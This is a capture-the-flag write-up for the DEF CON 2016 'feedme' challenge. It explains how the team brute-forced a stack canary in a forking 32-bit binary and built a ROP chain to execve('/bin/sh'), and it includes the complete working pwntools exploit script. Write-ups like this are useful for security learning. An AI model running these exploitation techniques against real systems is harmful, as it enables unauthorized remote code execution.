feedme (DefconCTF-2016)

In this challenge a 32-bit huge statically liked executable was given. The checksec result of that binary is

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   feedme

NX was enabled but there was no PIE and RPATH. And after executing and little debugging of the file, i found that a parent process generates child process.

The problem works like this, once the binary is been executed the parent process launches child process and after giving the input, again it generates the child process and that happens in a loop and number of bytes of input depends upon on the first byte. For suppose if we input A then we can input only 64 bytes of data.

After little more debugging i got to know that there was a canary and breaking that canary will give you control over instruction pointer.

[*]Brute-force canary first

[*]ROP chain to get the shell

So here is the exploit. Actually this problem is partially solved by all of us, so it was whole bi0s team effort

#!/usr/bin/env python


from pwn import *
import sys
import string


pop_eax = 0x080e243d
pop_ecx_pop_ebx = 0x0806f371
pop_edx = 0x0806f34a
mov_dword_edx_eax = 0x0809a7ed
int_0x80 = 0x0806fa20



def bruteForceCanary(p, offset, length):
    """ @jayakrishna, @rakesh """
    canary = "\x00" 
    for byte in xrange(1,length):
        for canary_byte in xrange(256):
	    hex_byte = chr(canary_byte)
            payload= str(chr(offset + len(canary) + 1)) + "A"*offset  + canary + hex_byte
	    print (canary + hex_byte).encode("hex")			
	    p.send(payload)
	    p.recvuntil("...")
	    p.recvline()
	    if p.recvline().find("YUM") > -1:
	        canary += hex_byte
		break
    return canary




def generateROPChain():
    """ @akshay """
    rop  = p32(pop_edx)
    rop += p32(0x080ea000)
    rop += p32(pop_eax)
    rop += "/bin"
    rop += p32(mov_dword_edx_eax)

    rop += p32(pop_edx)
    rop += p32(0x080ea004)
    rop += p32(pop_eax)
    rop += "/sh\0"
    rop += p32(mov_dword_edx_eax)

    rop += p32(pop_edx)
    rop += p32(0x080ea008) # double pointer
    rop += p32(pop_eax)
    rop += p32(0x080ea000)
    rop += p32(mov_dword_edx_eax)

    rop += p32(pop_edx)
    rop += p32(0x080ea00c)
    rop += p32(pop_eax)
    rop += p32(0)          # char** terminator
    rop += p32(mov_dword_edx_eax)

    rop += p32(pop_ecx_pop_ebx)
    rop += p32(0x080ea008)
    rop += p32(0x080ea000)
    rop += p32(pop_edx)
    rop += p32(0x080ea00c)

    rop += p32(pop_eax)
    rop += p32(0xb)
    rop += p32(int_0x80)
    return rop
	

def main():
    target = "feedme_47aa9b0d8ad186754acd4bece3d6a177.quals.shallweplayaga.me"
    port = 4092
    context.bits = 32
    if "local" in sys.argv:
        target = "0.0.0.0"
        port = 1234

    offset_after_canary = 12
    p = remote(target,port)
    payload=str(chr(37)) # placeholder
    payload+= string.ascii_uppercase + "a"*(32-26)
    payload+= bruteForceCanary(p, 32,4)
    payload += "A"*offset_after_canary
    payload += generateROPChain()


    if len(payload) > 255:
        print "\n\nPayload cannot be greater than 255 bytes ", len(payload), "\n\n"
        sys.exit(0)


    payload = chr(len(payload)-1) + payload[1:]
    p.send(payload)
    p.interactive()


if __name__ == "__main__":
    main()